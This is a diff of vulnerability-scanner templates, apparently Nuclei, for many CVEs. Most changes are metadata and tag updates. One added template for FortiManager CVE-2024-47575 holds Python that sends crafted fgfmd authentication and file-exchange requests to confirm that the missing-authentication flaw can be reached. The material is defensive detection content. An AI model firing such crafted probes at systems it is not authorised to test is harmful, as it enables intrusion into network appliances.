     cwe-id: CWE-197,CWE-787
     epss-score: 0.9394
-    epss-percentile: 0.99875
+    epss-percentile: 0.99872
     cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -36,7 +36,7 @@ info:
     fofa-query:
       - body="/remote/login" "xxxxxxxx"
       - icon_hash="945408572"
-  tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev
+  tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev,vkev,vuln
 flow: http () && code()
 
 http:
@@ -197,4 +197,4 @@ code:
       - type: word
         words:
           - "Target appears to be VULNERABLE"
-# digest: 4a0a00473045022100fd9bd54297267048d751bf43b25aad58c73445a6654339ab071092387ac0123f0220450016d0e026b2a427ae95cedb221d2f247e85832a4c513251bb45974032edf2:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e913085eb3784826410469b3e2477d893db8b66741034bd3bf2b96c432ae5fa402207e41770b1a18ba058d8288ed36abea4b314f410b9b7a540c6db34418cddda5e7:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-2640.yaml

@@ -22,7 +22,7 @@ info:
     cve-id: CVE-2023-2640
     cwe-id: CWE-863
     epss-score: 0.92037
-    epss-percentile: 0.99695
+    epss-percentile: 0.99684
     cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -30,7 +30,7 @@ info:
     vendor: canonical
     product: ubuntu_linux
     shodan-query: cpe:"cpe:2.3:o:canonical:ubuntu_linux"
-  tags: cve,cve2023,code,packetstorm,kernel,ubuntu,linux,privesc,local,canonical
+  tags: cve,cve2023,code,packetstorm,kernel,ubuntu,linux,privesc,local,canonical,vkev,vuln
 
 self-contained: true
 code:
@@ -55,4 +55,4 @@ code:
           - '!contains(code_1_response, "(root)")'
           - 'contains(code_2_response, "(root)")'
         condition: and
-# digest: 4a0a00473045022025723ab91e420641cfe800cf358b555be4dfe1a95e19f497622513d576e1a18602210099c619aeaa31b5a42bfa1bf2435e943539edb17a8bb63d628639876b14b1dd0b:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220042744883085da6be3360bc592800813b59a32ca3cca5b357679359e6253ba240220221969866987b2d8a715ea12875a3378b4d34a00642ee1940414fb062dbb7ccc:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-2986.yaml

@@ -16,8 +16,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2023-2986
-    epss-score: 0.91169
-    epss-percentile: 0.99637
+    epss-score: 0.9117
+    epss-percentile: 0.99625
     cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
   metadata:
     verified: true
@@ -25,7 +25,7 @@ info:
     product: abandoned_cart_lite_for_woocommerce
     framework: wordpress
     fofa-query: body="/wp-content/plugins/woocommerce-abandoned-cart/"
-  tags: cve,cve2023,wordpress,woocommerce,wp-plugin,auth-bypass,woocommerce-abandoned-cart
+  tags: cve,cve2023,wordpress,woocommerce,wp-plugin,auth-bypass,woocommerce-abandoned-cart,vkev,vuln
 code:
   - engine:
       - php
@@ -626,4 +626,4 @@ http:
       - type: status
         status:
           - 302
-# digest: 490a0046304402203ae2332fd8db55a2f2240d4cdd9850b283cec173cb51a32d874826d1f0178611022059c4ed08d396d26150ed0ab1135c1ceb302697c0aa2605770a3e7eaef92f8ab3:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e6eab6f55170064a588506282efa987cb311cb8e2f791c1066d1d0d643b71b76022068fc331e222d13fd82f83dea7d76fa1aeb431eea1a0f9f415a3eb6917ef1e6a9:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-49105.yaml

@@ -18,7 +18,7 @@ info:
     cve-id: CVE-2023-49105
     cwe-id: CWE-287
     epss-score: 0.86244
-    epss-percentile: 0.99363
+    epss-percentile: 0.99356
     cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
   metadata:
     max-request: 2
@@ -29,7 +29,7 @@ info:
       - http.title:"owncloud"
     fofa-query: title="owncloud"
     google-query: intitle:"owncloud"
-  tags: cve,cve2023,code,owncloud,auth-bypass
+  tags: cve,cve2023,code,owncloud,auth-bypass,vuln
 variables:
   username: admin
 
@@ -90,4 +90,4 @@ http:
       - type: dsl
         dsl:
           - '"Username => "+ username'
-# digest: 4a0a0047304502200eb48978e14546dc3e56e9d0c8239862ffda85936ca84b62a3b637ddee72f911022100cca195be7f11d393c575f74d53f573fa757d4f8f2a2155465a8669630c3d79fe:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100cf2286e2b9e4ad6a4e7a1300d561d89e3de6c89744d3b4d2e1fb5fb3a21e657602201a70a5fb1b750c545c39bb3c3cdb175a2d69af7540d635a926f13d4e1fbab54b:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-4911.yaml

@@ -17,14 +17,14 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2023-4911
     cwe-id: CWE-787,CWE-122
-    epss-score: 0.76845
-    epss-percentile: 0.98916
+    epss-score: 0.78409
+    epss-percentile: 0.98978
     cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
     vendor: gnu
     product: glibc
-  tags: cve,cve2023,code,glibc,looneytunables,linux,privesc,local,kev,gnu,vkev
+  tags: cve,cve2023,code,glibc,looneytunables,linux,privesc,local,kev,gnu,vkev,vuln
 
 self-contained: true
 code:
@@ -39,4 +39,4 @@ code:
       - type: word
         words:
           - "139"     # Segmentation Fault Exit Code
-# digest: 4a0a0047304502207cf20d09374ebaac3326e2ebdfa9edbe0b520eedaa6f9fc47f4d2dfc0bb8626c022100a192ca0048af927965b9156bb7e7124204d423ff7a5161d2ced620648dc5c04c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009b5dc3be045aba05dec88023cb7dddc24188b00eec844cfa3909377e9d6317eb022100e0078981f9b353e41cf8e5e46fe4c1e421ddbbb0038b65ead953e45bb4b81381:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-6246.yaml

@@ -18,13 +18,13 @@ info:
     cve-id: CVE-2023-6246
     cwe-id: CWE-787,CWE-122
     epss-score: 0.25078
-    epss-percentile: 0.95984
+    epss-percentile: 0.95931
     cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
     vendor: gnu
     product: glibc
-  tags: cve,cve2023,code,glibc,linux,privesc,local,gnu
+  tags: cve,cve2023,code,glibc,linux,privesc,local,gnu,vuln
 
 self-contained: true
 code:
@@ -39,4 +39,4 @@ code:
       - type: word
         words:
           - "127"     # Segmentation Fault Exit Code
-# digest: 4a0a0047304502205b2f5502d6b8c7185d5a0eacc7263ee8ad31b3602852da59688316f1f820cf5a022100f08202769196e323c82b6863a1d47a1e55a1e8225c80efac9793ab24632c75b6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220707af88658762f3e5a34c0b6adc5c8761db5b3a68d793de3ce1583c5e2334dbc022100aa3e773dd28b5a80f46c9e117e3cff530f72279898a97cf61d0f542ddad6451d:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-10443.yaml

@@ -13,8 +13,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-10443
     cwe-id: CWE-77
-    epss-score: 0.69894
-    epss-percentile: 0.98624
+    epss-score: 0.69676
+    epss-percentile: 0.98585
     cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
   metadata:
     verified: true
@@ -23,7 +23,7 @@ info:
     product: photos
     framework: diskstation_manager
     shodan-query: html:"BeeStation"
-  tags: unauth,synology,rce,websocket,diskstation
+  tags: unauth,synology,rce,websocket,diskstation,vuln
 
 variables:
   OAST: "{{interactsh-url}}"
@@ -54,4 +54,4 @@ code:
         part: interactsh_protocol # Confirms the HTTP Interaction
         words:
           - "dns"
-# digest: 4a0a0047304502200c520e0378568db2d7924f230807017beef1733f4f9d720642a47ceaf367ced00221009a3738866903e35ff9f1db4665839ee7e83b7bee716a06c186eeb0c499569b3f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008b5ac203a17c5ac2495444e747470435d1f73ab86119dbac864498facc0299ba0220706f90afe3ebad35664001b827141b2c9308fbf3c09d879a0fe9232a2602ff14:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-12356.yaml

@@ -14,13 +14,13 @@ info:
     cve-id: CVE-2024-12356
     cwe-id: CWE-77
     epss-score: 0.93687
-    epss-percentile: 0.99843
+    epss-percentile: 0.99833
     cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
   metadata:
     vendor: beyondtrust
     product: privileged_remote_access
     verified: true
-  tags: cve,cve2024,beyondtrust,rce,remote-support,privileged-remote-access,kev,vkev
+  tags: cve,cve2024,beyondtrust,rce,remote-support,privileged-remote-access,kev,vkev,vuln
 
 code:
   - engine:
@@ -37,4 +37,4 @@ code:
         words:
           - "0 success"
           - "1 try again later"
-# digest: 4b0a00483046022100ffd05598c4473e0d407ad41895742988fec529bc8bcf72bd9c00522c75f45590022100cdb9285becf169129ec66224b356c8da1dadc610e650bfb52d851d4dc5c25154:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100bcb70958bd42473e557963672c2efd5866879d3fd84e491b51e19b39e53ac0b6022100cec4f199e93652df8d28806d7fa5ebf4e7eee2e68522774ed5ad2fda01bf9d05:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-22120.yaml

@@ -19,8 +19,8 @@ info:
     cvss-score: 9.1
     cve-id: CVE-2024-22120
     cwe-id: CWE-20
-    epss-score: 0.93769
-    epss-percentile: 0.99853
+    epss-score: 0.93259
+    epss-percentile: 0.99793
   metadata:
     max-request: 1
     vendor: zabbix
@@ -34,7 +34,7 @@ info:
       - app="zabbix-监控系统" && body="saml"
       - title="zabbix-server"
     google-query: intitle:"zabbix-server"
-  tags: cve,cve2024,authenticated,zabbix,sqli,vkev
+  tags: cve,cve2024,authenticated,zabbix,sqli,vkev,vuln
 variables:
   HOST: "{{Host}}"
   PORT: "{{Port}}"
@@ -71,4 +71,4 @@ code:
       - type: word
         words:
           - "Vulnerable to CVE-2024-22120"
-# digest: 4a0a00473045022040b3e9129980c4da25dc8824cec47d716aa03d6aa233cc40f11389b50a8e2df8022100e63e625c6f82e99f692ab5875d43b4c7c7251480ad0b23cedb2647240638d75d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c29b03d6ec221f62966546d687c9c8c86e41f5d46f37e8896f3473a10d8b08b3022100867de1666d89e4ae22d98a7a0fd65b75a1716a312aaec979b2fabcd6b2ae1cf9:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-3094.yaml

@@ -17,14 +17,14 @@ info:
     cvss-score: 10
     cve-id: CVE-2024-3094
     cwe-id: CWE-506
-    epss-score: 0.86537
-    epss-percentile: 0.99378
+    epss-score: 0.85778
+    epss-percentile: 0.99331
     cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
   metadata:
     verified: true
     vendor: tukaani
     product: xz
-  tags: cve,cve2024,local,code,xz,backdoor,tukaani
+  tags: cve,cve2024,local,code,xz,backdoor,tukaani,vuln
 
 self-contained: true
 code:
@@ -59,4 +59,4 @@ code:
       - type: dsl
         dsl:
           - response
-# digest: 4a0a004730450220792936269a1c429348b49776471a1e7be7d400ba5ccb41b320caa1db95412e85022100bd98c2efbfd44e312a6fb078399abec30c208a5b74685f94cb87bea0e5c112dc:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210092d5ac481a41f2bce742d30e9a53e6cfcce47b99b02f4291b382802664d6f8c80220616412b2e3eab8e90f86485850f7ca389e9ac0b0f1a890e827325eb9677048d9:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-4340.yaml

@@ -10,11 +10,11 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
     cvss-score: 7.5
     cve-id: CVE-2024-4340
-    epss-score: 0.14988
-    epss-percentile: 0.94324
+    epss-score: 0.16207
+    epss-percentile: 0.94529
   reference:
     - https://nvd.nist.gov/vuln/detail/CVE-2024-4340
-  tags: cve,cve2024,py,code,dos,python,sqlparse
+  tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
 
 self-contained: true
 code:
@@ -29,4 +29,4 @@ code:
         part: stderr
         words:
           - "RecursionError: maximum recursion depth exceeded"
-# digest: 4a0a0047304502205b1710a316b0aff14d49440261ed0afde956081baa98afdd7a49a190bc8ce6c5022100f712bcae0ad7893297691bc40c72ab32b8b82bfbd06ccd5207443c903c464cf4:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220549dc564dc5471bdf1dc63334bf0ff6ef0f2c050664a3b06189b22683d31875f02204d49ed2a7bd8a9158503467d45b113fb0e8b20c98a09747235c176e23a8ef696:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-45409.yaml

@@ -20,14 +20,14 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-45409
     cwe-id: CWE-347
-    epss-score: 0.12641
-    epss-percentile: 0.93732
+    epss-score: 0.39163
+    epss-percentile: 0.97099
   metadata:
     verified: true
     shodan-query: http.title:"GitLab"
     product: gitlab
     vendor: gitlab
-  tags: cve,cve2024,saml,auth-bypass,gitlab,code,vkev
+  tags: cve,cve2024,saml,auth-bypass,gitlab,code,vkev,vuln
 
 code:
   - engine:
@@ -123,4 +123,4 @@ http:
       - type: kval
         kval:
           - _gitlab_session
-# digest: 4a0a00473045022100fed502b470334e50d4f4f7bb4ea7709ba70d4db49c21bbfbe1cb569b5ad195ff02203e1ed22d41cbe04690ce0906b190bfb39eaa5508f1e0275640a364c4203e478c:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402205e030f7d186f18e2ddf5cd9281a48cb0af2d6ac63498b37cb4a9ce899f84a59e022005a03e6ea351d60b08436740f6db2daf9e303d0323c278f564ab1230e9a678f2:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-47575.yaml

@@ -0,0 +1,148 @@
+id: CVE-2024-47575
+
+info:
+  name: FortiManager Unauthenticated Remote Code Execution
+  author: 0x_Akoko,pussycat0x,watchTowr
+  severity: critical
+  description: |
+    A missing authentication vulnerability in Fortinet FortiManager allows a remote unauthenticated attacker to execute arbitrary code or commands via specially crafted requests to the fgfmd daemon. This vulnerability affects FortiManager versions 7.6.0, 7.4.0 through 7.4.4, 7.2.0 through 7.2.7, 7.0.0 through 7.0.12, 6.4.0 through 6.4.14, 6.2.0 through 6.2.12, and all versions of 6.0.
+  remediation: |
+    Update FortiManager to version 7.6.1 or later, 7.4.5 or later, 7.2.8 or later, 7.0.13 or later, or 6.4.15 or later.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-47575
+    - https://github.com/watchtowrlabs/Fortijump-Exploit-CVE-2024-47575
+    - https://fortiguard.fortinet.com/psirt/FG-IR-24-423
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2024-47575
+    cwe-id: CWE-306
+    epss-score: 0.93874
+    epss-percentile: 0.99861
+    cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*
+  tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev
+
+variables:
+  HOST: "{{Host}}"
+  PORT: "{{Port}}"
+  keysDir: "helpers/payloads/cve-2024-475759-keys"
+
+code:
+  - engine:
+      - py
+      - python3
+    source: |
+      import socket
+      import struct
+      import ssl
+      import logging
+      import os
+      import sys
+
+      logging.basicConfig(level=logging.INFO, format='%(message)s')
+
+      FW_VERSION = None
+
+      def create_ssl_context():
+          keys_dir = os.getenv("keysDir", "helpers/payloads/cve-2024-47575-keys")
+          cert_path = os.path.join(keys_dir, "w00t_cert.bin")
+          key_path = os.path.join(keys_dir, "w00t_key.bin")
+
+          try:
+              if os.path.isfile(cert_path) and os.path.isfile(key_path):
+                  context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
+                  context.load_cert_chain(certfile=cert_path, keyfile=key_path)
+                  context.check_hostname = False
+                  context.verify_mode = ssl.CERT_NONE
+                  logging.debug(f"Loaded certificate from {cert_path}")
+                  logging.debug(f"Loaded key from {key_path}")
+                  return context
+              else:
+                  logging.debug(f"Certificate or key not found: {cert_path}, {key_path}")
+                  context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
+                  context.check_hostname = False
+                  context.verify_mode = ssl.CERT_NONE
+                  return context
+          except Exception as e:
+              logging.debug(f"Failed to load certificates: {e}")
+              context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
+              context.check_hostname = False
+              context.verify_mode = ssl.CERT_NONE
+              return context
+
+      def send_message(sock, request):
+          message = struct.pack(">II", 0x36e01100, len(request) + 8) + request
+          sock.send(message)
+          hdr = sock.read(8)
+          if len(hdr) != 8:
+              return None
+          magic, size = struct.unpack(">II", hdr)
+          return sock.read(size - 8)
+
+      def check_vulnerability(target_ip, target_port, timeout=10):
+          global FW_VERSION
+
+          auth_request = b"get auth\r\nserialno=FGVMEVWG8YMT3R63\r\nmgmtid=00000000-0000-0000-0000-000000000000\r\nplatform=FortiGate-60E\r\nfos_ver=700\r\nminor=2\r\npatch=4\r\nbuild=1396\r\nbranch=1396\r\nmaxvdom=2\r\nfg_ip=192.168.1.53\r\nhostname=FortiGate\r\nharddisk=yes\r\nbiover=04000002\r\nharddisk_size=30720\r\nlogdisk_size=30107\r\nmgmt_mode=normal\r\nenc_flags=0\r\nmgmtip=192.168.1.53\r\nmgmtport=443\r\n\x00"
+
+          file_exchange_request = b"get file_exchange\r\nlocalid=123\r\nchan_window_sz=32768\r\ndeflate=gzip\r\nfile_exch_cmd=put_json_cmd\r\n\r\n\x00"
+
+          context = create_ssl_context()
+          sock = socket.create_connection((target_ip, target_port), timeout=timeout)
+          ssl_sock = context.wrap_socket(sock)
+
+          response = send_message(ssl_sock, auth_request)
+          if not response:
+              ssl_sock.close()
+              return False, None
+
+          response = send_message(ssl_sock, file_exchange_request)
+          if not response:
+              ssl_sock.close()
+              return False, None
+
+          try:
+              response_str = response.decode('utf-8', errors='ignore')
+              for line in response_str.split('\r\n'):
+                  if 'remoteid=' in line:
+                      remote_id = line.split('=')[1].strip()
+                      if remote_id:
+                          ssl_sock.close()
+                          return True, FW_VERSION
+          except Exception:
+              pass
+
+          ssl_sock.close()
+          return False, FW_VERSION
+
+      def main():
+          host = os.getenv("HOST")
+          port = os.getenv("PORT")
+
+          target_port = int(port) if port else 541
+
+          is_vulnerable, fw_version = check_vulnerability(host, target_port)
+
+          if is_vulnerable:
+              if fw_version:
+                  print(f"Vulnerable Version {fw_version}")
+              else:
+                  print("Vulnerable")
+          else:
+              if fw_version:
+                  print(f"NOT VULN Version {fw_version}")
+              else:
+                  print("NOT VULN")
+
+      if __name__ == "__main__":
+          main()
+
+    matchers:
+      - type: word
+        words:
+          - "Vulnerable"
+
+    extractors:
+      - type: dsl
+        dsl:
+          - response
+# digest: 4b0a00483046022100ec14e45bc6bc3f9a31bebf7c7e91cff5df5cb9159169aa0226e3d067fc01f1e2022100c71d9207b4a6d950032c7216f57a8e2347823a4f8aad944aa50de2e9b4fd6978:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-55556.yaml

@@ -17,14 +17,14 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-55556
     cwe-id: CWE-502
-    epss-score: 0.7976
-    epss-percentile: 0.99064
+    epss-score: 0.84379
+    epss-percentile: 0.99271
   metadata:
     verified: true
     max-request: 2
     shodan-query: 'http.title:"InvoiceShelf"'
     fofa-query: 'title="InvoiceShelf"'
-  tags: cve,cve2024,invoiceshelf,rce,deserialization
+  tags: cve,cve2024,invoiceshelf,rce,deserialization,vuln
 
 variables:
   marker: "{{randstr}}"
@@ -193,4 +193,4 @@ http:
       - type: status
         status:
           - 500
-# digest: 4b0a00483046022100bf97ea801304d547230277fbd5e237dd4af7484e30bfbd49fd627f78f5824a47022100c1d9c9324f67bc79bf1a506582d9d99918b55940fbbc6fc24177c9d2e2e29b06:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c33a7e4170efd830fed04dc81dff116c0d6de6a7a04013690afafee5aa4dd7eb022016a273dda70ccb4e18af5f17d14d297c9dbcfbe9981b3789e6ea9b4eafeab7a9:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-56331.yaml

@@ -22,13 +22,13 @@ info:
     cve-id: CVE-2024-56331
     cwe-id: CWE-22
     epss-score: 0.41406
-    epss-percentile: 0.97322
+    epss-percentile: 0.97235
   metadata:
     verified: true
     shodan-query: http.title:"Uptime Kuma"
     product: uptime-kuma
     vendor: uptime-kuma
-  tags: cve,cve2024,lfi,uptime-kuma,file-disclosure
+  tags: cve,cve2024,lfi,uptime-kuma,file-disclosure,vuln
 
 variables:
   username: "{{username}}"
@@ -124,4 +124,4 @@ code:
       - type: word
         words:
           - "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
-# digest: 490a00463044022030237c060f1ffa3755a41ddd45e9748cd5ae4ce6d58218bc0d66b1d2f1875cac02200167daec5424dab9629da87af62214becf5d90aec43a38d336771366cd5e1abc:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204c5b24fda7a91e193ed794e32f38673f924ed17e393ebcb8e6e0e9351a6cde85022100860aa6411a18b6baec11fa99823a8fb2c3ed558adab797c067b1fe8ff009577e:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-9487.yaml

@@ -11,11 +11,11 @@ info:
     - https://github.com/advisories/GHSA-g83h-4727-5rpv
   classification:
     epss-score: 0.36115
-    epss-percentile: 0.96993
+    epss-percentile: 0.96904
   metadata:
     verified: true
     shodan-query: title:"GitHub Enterprise"
-  tags: cve,cve2024,github,ghe,saml,auth-bypass,sso
+  tags: cve,cve2024,github,ghe,saml,auth-bypass,sso,vuln
 
 code:
   - engine:
@@ -188,4 +188,4 @@ http:
       - type: kval
         kval:
           - user_session
-# digest: 4a0a004730450221009b3a3cbb39e4426ed2f80f6bce0ef4d802d6d3408920b9471b518dc062b5171302204b047d8308e9433ac47cb5690a0b72fd4e6ee4a16ec990ac20a0a2ba924de20f:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207d41ce6b6af9c3b0133e15c33183fdce00ba09f874633dbea4f3cb29234c64d8022004ad19707190bb70f9ff118286b04f22a704b252594a598f0b96850afa09a55d:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-22457.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 9.0
     cve-id: CVE-2025-22457
     cwe-id: CWE-121,CWE-787
-    epss-score: 0.73096
-    epss-percentile: 0.98747
+    epss-score: 0.76863
+    epss-percentile: 0.98898
     cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
   metadata:
     vendor: ivanti
@@ -31,7 +31,7 @@ info:
     fofa-query: title="ivanti connect secure"
     zoomeye-query: title:"ivanti connect secure"
     google-query: intitle:"ivanti connect secure"
-  tags: cve,cve2025,ivanti,intrusive,kev,vkev
+  tags: cve,cve2025,ivanti,intrusive,kev,vkev,vuln
 
 variables:
   HOST: "{{Host}}"
@@ -128,4 +128,4 @@ code:
       - type: word
         words:
           - "VULNERABLE:"
-# digest: 4a0a004730450220561dd67c9dde2e16c2a0701c18a5f0a72c3accce97cdc1b30cc22e4b2edf4a6602210092e4127e16590fc9076b3fd92faf1f092ba1facc852eeee386103ba826af918c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203f75dbfaad4ad6b004f89a6abe6b8ff05ec8c740385c91234058adab770eb6ea022100d31419b68e13b98dbfdede575d41d57e7b949ade2001446d470aa73c3a7f4bb4:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-25291.yaml

@@ -19,8 +19,8 @@ info:
     cvss-score: 9.3
     cve-id: CVE-2025-25291
     cwe-id: CWE-347
-    epss-score: 0.23993
-    epss-percentile: 0.95834
+    epss-score: 0.17247
+    epss-percentile: 0.94744
   metadata:
     verified: true
     vendor: gitlab
@@ -35,7 +35,7 @@ info:
       - body="gitlab-ci.yml"
       - title="gitlab"
     google-query: intitle:"gitlab"
-  tags: cve,cve2025,saml,auth-bypass,gitlab,code
+  tags: cve,cve2025,saml,auth-bypass,gitlab,code,vuln
 
 code:
   - engine:
@@ -78,4 +78,4 @@ http:
       - type: kval
         kval:
           - _gitlab_session
-# digest: 4b0a00483046022100cee26791c080ad505692b67cdc6d47884cc1913bae789949a7a676c87ea8e497022100b5c3a9bf284e96ef73f36a5d7c027607d65966916f27f8727e29c1c8882ba331:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202d4a3417e1248c02987e65aaa3859a0691580be5c5e6841ef09e1546d4f6ce770220709dc70e279c9f4aa652e8391870e72f9f0ed9badcc811469e6425b2882cd484:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-32433.yaml

@@ -20,13 +20,13 @@ info:
     cvss-score: 10
     cve-id: CVE-2025-32433
     cwe-id: CWE-306
-    epss-score: 0.59118
-    epss-percentile: 0.98173
+    epss-score: 0.53778
+    epss-percentile: 0.97866
   metadata:
     verified: true
     max-request: 1
     shodan-query: "Erlang OTP"
-  tags: cve,cve2025,erlang,otp,ssh,rce,oast,kev,vkev
+  tags: cve,cve2025,erlang,otp,ssh,rce,oast,kev,vkev,vuln
 
 variables:
   OAST: "{{interactsh-url}}"
@@ -172,4 +172,4 @@ code:
         dsl:
           - 'contains(interactsh_protocol, "dns")'
         condition: and
-# digest: 4a0a00473045022100e1ed3ef12f75ed6bfbc2f6b6f84899303ec44a3d9550f0b3a34e960b4a1f992302202a6ec1f92d9d0c901363e1f76f42adfe59c5ae9192011348db14cf1ac661d54b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a836215ff57c937a4e67f2d0356c07465020153450ad01d5d8fb3ee70ea58c7d022074f5c22f26df10c73b3c23b69fccd923b643dd8de88c214cfed73f65fc67f2a5:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-54309.yaml

@@ -17,8 +17,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2025-54309
-    epss-score: 0.48872
-    epss-percentile: 0.97699
+    epss-score: 0.56973
+    epss-percentile: 0.98016
     cwe-id: CWE-287,CWE-362
     cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*
   metadata:
@@ -33,7 +33,7 @@ info:
       - icon_hash="-1022206565"
     zoomeye-query: title:"crushftp"
     google-query: intitle:"crushftp"
-  tags: cve,cve2025,crushftp,auth-bypass,race-condition,kev,vkev
+  tags: cve,cve2025,crushftp,auth-bypass,race-condition,kev,vkev,vuln
 
 variables:
   HOST: "{{Host}}"
@@ -200,4 +200,4 @@ code:
       - type: word
         words:
           - "VULNERABLE:"
-# digest: 4a0a00473045022100c1225ee8ec16af33edadc3ca288860d89cc4e6e65b6222d5c750daeec17bfc7c022074d7e082824e8c3824e8a2581833fd46ab8a1eece02a32c135c90a2d144c6f3f:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009e096641682d45560e5ef9e35a24ef1d999c1237e1c7300af90e97c940eda5a1022100af9eb03cc7d7732a901c609bef6ca34d6632f0827751b77c4338a9f26eee5e2c:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-6216.yaml

@@ -15,8 +15,8 @@ info:
     - https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
     - https://nvd.nist.gov/vuln/detail/CVE-2025-6216
   classification:
-    epss-score: 0.16633
-    epss-percentile: 0.94686
+    epss-score: 0.28615
+    epss-percentile: 0.96307
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2025-6216
@@ -29,7 +29,7 @@ info:
     product: allegra
     shodan-query: http.favicon.hash:"284403119"
     fofa-query: icon_hash="284403119"
-  tags: cve,cve2025,allegra,auth-bypass,predictable-token,reset
+  tags: cve,cve2025,allegra,auth-bypass,predictable-token,reset,vuln
 
 variables:
   email: "[email protected]"  # Change to a test account
@@ -115,4 +115,4 @@ code:
       - type: dsl  # type of the extractor
         dsl:
           - '"Reset URL: " + code_response'
-# digest: 490a0046304402200a2dbd1ebf25b9e92750ff1d3e50589cd3834c4ae4e0f4567e0e280a8b882f9602203ee81b87653d7d775935569c3698904de2974ca45085d932957f0da0dbaab454:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204e15f75d847313a94159ce612853e8d43c07acd7907aaa6116166434ed694ca6022100b51bf8064525483171bb588675b324c60cbe3f8a3987f86db575d2baeaa20225:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-9242.yaml

@@ -0,0 +1,555 @@
+id: CVE-2025-9242
+
+info:
+  name: WatchGuard IKEv2 Out-of-Bounds Write Vulnerability
+  author: pussycat0x,DhiyaneshDK,watchTowr
+  severity: critical
+  description: |
